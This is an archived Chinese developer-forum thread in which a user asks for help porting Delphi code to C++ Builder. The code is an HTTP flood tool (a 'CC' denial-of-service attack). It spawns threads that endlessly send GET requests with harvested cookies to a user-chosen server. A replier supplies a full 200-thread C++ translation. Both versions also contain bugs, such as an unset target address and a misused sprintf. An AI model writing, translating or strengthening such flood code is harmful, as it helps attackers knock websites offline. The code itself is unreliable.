谁能帮我把这个delphi的代码转换为bcb的、

Infiltration 2011-05-19 04:48:04

unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,WinSock, StdCtrls,WinInet, ComCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Edit1: TEdit;
Edit2: TEdit;
StaticText1: TStaticText;
StaticText2: TStaticText;
Button2: TButton;
StaticText3: TStaticText;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
Thander: array[0..2047] of Dword;
type
PTest = ^Test;
Test=record
url: pchar;
htm: pchar;
end;
implementation
function cookie(urls:string):string;
var
cookbuffer:array[0..1023] of char;
zs:DWORD;
begin
InternetGetCookie(PChar(Urls),'',cookbuffer,zs);
Result:=cookbuffer;
end;
{$R *.dfm}

Procedure CCWeb;
var
s:integer;
name:sockaddr_in;
str:pchar;
Server:pchar;
htm:pchar;
begin
Server:= PChar(Trim(Form1.edit1.text)); //urls^.url;
htm:= PChar(Trim(Form1.edit2.text)); //urls^.htm;
s:=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
FillChar(name,sizeof(name),0);
name.sin_family:=AF_INET;
name.sin_port:=htons(80);
str := PChar('GET /'+ htm +' HTTP/1.1'#13#10);
str := PChar(str + 'User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE 3.01)'#13#10);
str := PChar(str + 'Host: ' + Server + #13#10);
str := PChar(str + 'Connection: Keep-Alive' + #13#10);
str := PChar(str + 'cookie:' + cookie('http://'+ Server + '/' + htm) + #13#10);
str := PChar(str + #13#10);
while True do
begin
try
connect(s,name,sizeof(name));
send(s,PChar(str)^,Length(str),0);
closesocket(s);
except
closesocket(s);
end;
Sleep(100);
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
ThreadID:DWORD;
i:Integer;
begin
Button1.Enabled := false;
Button2.Enabled := True;
for i := 1 to 1 do
begin
Thander[i] := BeginThread(nil,0,@CCWeb,nil,0,ThreadID);
end;
end;
procedure TForm1.Button2Click(Sender: TObject);
var
i:Integer;
begin
Button2.Enabled := false;
Button1.Enabled := True;
for i := 1 to 200 do
begin
TerminateThread(Thander[i],0);
end;
end;
end.
...全文
93 5 打赏 收藏 转发到动态 举报
AI 作业
写回复
用AI写文章
5 条回复
切换为时间正序
请发表友善的回复…
发表回复
Infiltration 2011-05-23
  • 打赏
  • 举报
回复
[Quote=引用 4 楼 ccrun 的回复:]

翻译过来基本就是这样:
.h文件
C/C++ code
class TForm1 : public TForm
{
__published: // IDE-managed Components
TEdit *Edit1;
TEdit *Edit2;
TButton *Button1;
TStaticText *StaticText1;
TSta……
[/Quote]
感谢、
bigfog 2011-05-20
  • 打赏
  • 举报
回复
代码太多了,你先自己转一下,然后把不会的部分贴出来
ccrun.com 2011-05-20
  • 打赏
  • 举报
回复
翻译过来基本就是这样:
.h文件
class TForm1 : public TForm
{
__published: // IDE-managed Components
TEdit *Edit1;
TEdit *Edit2;
TButton *Button1;
TStaticText *StaticText1;
TStaticText *StaticText2;
TButton *Button2;
TStaticText *StaticText3;
void __fastcall Button1Click(TObject *Sender);
void __fastcall Button2Click(TObject *Sender);
private: // User declarations
public: // User declarations
__fastcall TForm1(TComponent* Owner);
};

.cpp文件
#include <winsock.h>
#include <wininet.h>
#include <stdio.h>

#pragma link "wininet.lib"

HANDLE Thander[2048];

// ---------------------------------------------------------------------------
DWORD __stdcall GetWebThreadProc(void *pParam)
{
SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(80);

char szUrl[1024] = { 0 };
sprintf(szUrl, "http://%s/%s",
Form1->Edit1->Text.c_str(), Form1->Edit2->Text.c_str());

char szCookie[1024];
DWORD dwSize;
::InternetGetCookie(szUrl, "", szCookie, &dwSize);

char szRequest[2048] = { 0 };
sprintf(szRequest,
"GET /%s HTTP/1.1\r\n",
"User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE 3.01)\r\n",
"Host: %s\r\n",
"Connection: Keep-Alive\r\n",
"cookie:%s\r\n\r\n",
Form1->Edit2->Text.c_str(), Form1->Edit1->Text.c_str(), szCookie);

while (true)
{
try
{
connect(s, (SOCKADDR *)&addr, sizeof(addr));
send(s, szRequest, strlen(szRequest), 0);
closesocket(s);
}
catch(...)
{
closesocket(s);
}

Sleep(100);
}
}

// ---------------------------------------------------------------------------
void __fastcall TForm1::Button1Click(TObject *Sender)
{
DWORD ThreadID;
Button1->Enabled = false;
Button2->Enabled = true;

for (int i = 0; i < 200; i++)
{
Thander[i] = ::CreateThread(NULL, 0, GetWebThreadProc, NULL, 0, &ThreadID);
}
}

// ---------------------------------------------------------------------------
void __fastcall TForm1::Button2Click(TObject *Sender)
{
Button2->Enabled = false;
Button1->Enabled = true;

for (int i = 0; i < 200; i++)
{
::TerminateThread(Thander[i], 0);
}
}
echoliujiaohui 2011-05-20
  • 打赏
  • 举报
回复
谁能帮我写个上位机实时监控程序,重谢,
勉励前行 2011-05-20
  • 打赏
  • 举报
回复
1、將pas文件加入工程,編譯生成hpp頭文件。
2、將hpp頭文件改名 h 頭文件,這樣就免去了改寫接口部分代碼了。
3、自己將函數實現改寫一下就可以了。

1,317

社区成员

发帖
与我相关
我的任务
社区描述
C++ Builder 网络及通讯开发
社区管理员
  • 网络及通讯开发社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧